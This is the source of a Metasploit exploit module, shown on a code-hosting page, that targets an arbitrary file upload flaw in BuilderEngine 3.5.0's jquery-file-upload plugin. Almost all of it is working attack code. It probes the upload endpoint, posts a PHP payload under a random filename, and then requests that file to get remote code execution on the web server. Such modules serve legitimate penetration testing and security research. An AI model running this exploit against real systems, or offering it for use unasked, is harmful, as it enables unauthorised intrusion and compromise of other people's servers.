Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/builderengine_upload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FileDropper9include Msf::Exploit::Remote::HttpClient1011def initialize(info={})12super(update_info(info,13'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",14'Description' => %q{15This module exploits a vulnerability found in BuilderEngine 3.5.016via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious17file, which would result in arbitrary remote code execution under the context of18the web server.19},20'License' => MSF_LICENSE,21'Author' =>22[23'metanubix', # PoC24'Marco Rivoli' # Metasploit25],26'References' =>27[28['EDB', '40390']29],30'Payload' =>31{32'BadChars' => "\x00"33},34'DefaultOptions' =>35{36'EXITFUNC' => 'thread'37},38'Platform' => ['php'],39'Arch' => ARCH_PHP,40'Targets' =>41[42['BuilderEngine 3.5.0', {}]43],44'Privileged' => false,45'DisclosureDate' => '2016-09-18',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])51])52end5354def check55uri = target_uri.path56uri << '/' if uri[-1,1] != '/'5758res = send_request_cgi({59'method' => 'GET',60'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')61})6263if res && res.code == 200 && !res.body.blank?64return Exploit::CheckCode::Appears65else66return Exploit::CheckCode::Safe67end68end6970def exploit71uri = target_uri.path7273peer = "#{rhost}:#{rport}"74php_pagename = rand_text_alpha(8 + rand(8)) + '.php'75data = Rex::MIME::Message.new76payload_encoded = Rex::Text.rand_text_alpha(1)77payload_encoded << "<?php "78payload_encoded << payload.encoded79payload_encoded << " ?>\r\n"80data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")81post_data = data.to_s8283res = send_request_cgi({84'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),85'method' => 'POST',86'ctype' => "multipart/form-data; boundary=#{data.bound}",87'data' => post_data88})8990if res91if res.code == 200 && res.body =~ /files|#{php_pagename}/92print_good("Our payload is at: #{php_pagename}. Calling payload...")93register_file_for_cleanup(php_pagename)94else95fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")96end97else98fail_with(Failure::Unknown, 'ERROR')99end100101print_status("Calling payload...")102send_request_cgi(103'method' => 'GET',104'uri' => normalize_uri(uri,'files/', php_pagename)105)106end107end108109110